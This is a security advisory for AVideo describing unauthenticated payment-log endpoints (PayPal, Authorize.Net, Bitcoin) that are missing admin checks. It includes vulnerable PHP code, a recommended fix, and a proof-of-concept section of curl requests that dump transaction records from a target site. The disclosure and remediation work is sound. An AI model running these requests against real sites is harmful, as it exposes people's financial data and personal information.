PT-2026-31368 · Packagist · Wwbn Avideo
Published
2026-03-29
·
Updated
2026-03-29
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Summary
Multiple payment plugin
list.json.php endpoints lack authentication and authorization checks, allowing unauthenticated attackers to retrieve all payment transaction records including PayPal billing agreement IDs, Express Checkout tokens, Authorize.Net webhook payloads with transaction details, and Bitcoin payment records. This is the same class of vulnerability fixed in the Scheduler plugin (GHSA-j724-5c6c-68g5 / commit 83390ab1f) but the fix was not applied to the remaining 21 affected endpoints.Details
The AVideo ObjectYPT admin CRUD pattern generates four endpoints per database table:
add.json.php, delete.json.php, list.json.php, and an index.php page. In the payment plugins, add.json.php and delete.json.php correctly check User::isAdmin() before proceeding, but the list.json.php endpoints have no authorization check whatsoever.PayPalYPT log list endpoint (
plugin/PayPalYPT/View/PayPalYPT log/list.json.php:1-10):php
<?php
require once '../../../../videos/configuration.php';
require once $global['systemRootPath'] . 'plugin/PayPalYPT/Objects/PayPalYPT log.php';
header('Content-Type: application/json');
$rows = PayPalYPT log::getAll();
$total = PayPalYPT log::getTotal();
?>
{"data": <?php echo json encode($rows); ?>, ...}No
User::isAdmin() check. The getAll() method (inherited from ObjectYPT) executes SELECT * FROM PayPalYPT log returning all records.Contrast with the sibling add endpoint (
plugin/PayPalYPT/View/PayPalYPT log/add.json.php:13-16):php
if (!User::isAdmin()) {
$obj->msg = "You can't do this";
die(json encode($obj));
}The
configuration.php bootstrap file performs no global authentication gating — it initializes the application framework but does not enforce auth. No .htaccess rules restrict access to plugin View directories.Data model (
plugin/PayPalYPT/Objects/PayPalYPT log.php): Each record contains agreement id, users id, json (full PayPal API response), recurring payment id, value (payment amount), and token (PayPal Express Checkout token).The identical pattern exists in:
plugin/AuthorizeNet/View/Anet webhook log/list.json.php— full Authorize.Net webhook payloadsplugin/BTCPayments/View/Btc payments/list.json.php— Bitcoin transaction identifiers and amounts
This was the exact same vulnerability class patched in commit 83390ab1f for the Scheduler plugin (GHSA-j724-5c6c-68g5), but the fix was only applied to the 3 Scheduler endpoints. A total of 21
list.json.php endpoints across the codebase remain unprotected.PoC
Step 1 — Dump PayPal transaction logs (unauthenticated):
bash
curl -s 'https://target.com/plugin/PayPalYPT/View/PayPalYPT log/list.json.php'Returns all PayPal transaction records including agreement IDs, tokens, payment amounts, user IDs, and full PayPal API JSON responses.
Step 2 — Dump Authorize.Net webhook logs (unauthenticated):
bash
curl -s 'https://target.com/plugin/AuthorizeNet/View/Anet webhook log/list.json.php'Returns all Authorize.Net webhook payloads including transaction IDs, event types, and payment details.
Step 3 — Dump Bitcoin payment records (unauthenticated):
bash
curl -s 'https://target.com/plugin/BTCPayments/View/Btc payments/list.json.php'Returns all Bitcoin transaction identifiers, BTC amounts, and store identifiers.
Step 4 — Confirm sibling endpoints ARE protected:
bash
curl -s -X POST 'https://target.com/plugin/PayPalYPT/View/PayPalYPT log/add.json.php'
# Returns: {"error":true,"msg":"You can't do this"}Impact
- Financial data exposure: Unauthenticated attackers can retrieve all payment transaction records across PayPal, Authorize.Net, and Bitcoin payment providers.
- Token leakage: PayPal Express Checkout tokens and billing agreement IDs are exposed, potentially enabling payment manipulation or account correlation.
- PII leakage: Transaction records contain user ID mappings, payment amounts, and full API responses that may include payer email addresses and names.
- Broad scope: 21 total
list.json.phpendpoints lack auth, also exposing live streaming server infrastructure (Live servers), user connection data, meeting participation logs, and AI transcription responses. - Zero interaction required: No authentication, no user interaction — a single GET request dumps the entire table.
Recommended Fix
Add
User::isAdmin() checks to all unprotected list.json.php endpoints, matching the pattern used in the Scheduler fix (commit 83390ab1f). For each affected file, add immediately after the require once and header() lines:php
if (!User::isAdmin()) {
$obj = new stdClass();
$obj->error = true;
$obj->msg = "You can't do this";
die(json encode($obj));
}The full list of files requiring this fix:
plugin/PayPalYPT/View/PayPalYPT log/list.json.phpplugin/AuthorizeNet/View/Anet webhook log/list.json.phpplugin/BTCPayments/View/Btc payments/list.json.phpplugin/AI/View/Ai responses/list.json.phpplugin/AI/View/Ai metatags responses/list.json.phpplugin/AI/View/Ai transcribe responses/list.json.phpplugin/Live/view/Live servers/list.json.phpplugin/Live/view/Live schedule/list.json.phpplugin/Live/view/Live restreams logs/list.json.phpplugin/SocialMediaPublisher/View/Publisher schedule/list.json.phpplugin/SocialMediaPublisher/View/Publisher social medias/list.json.phpplugin/Meet/View/Meet join log/list.json.phpplugin/Meet/View/Meet schedule has users groups/list.json.phpplugin/PlayLists/View/Playlists schedules/list.json.phpplugin/UserConnections/View/Users connections/list.json.phpplugin/UserNotifications/View/User notifications/list.json.phpplugin/VideosStatistics/View/Statistics/list.json.phpplugin/VideoTags/View/Tags subscriptions/list.json.phpplugin/CustomizeUser/View/Categories has users groups/list.json.phpplugin/CustomizeUser/View/Users extra info/list.json.phpplugin/ImageGallery/list.json.php
Fix
Information Disclosure
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Wwbn Avideo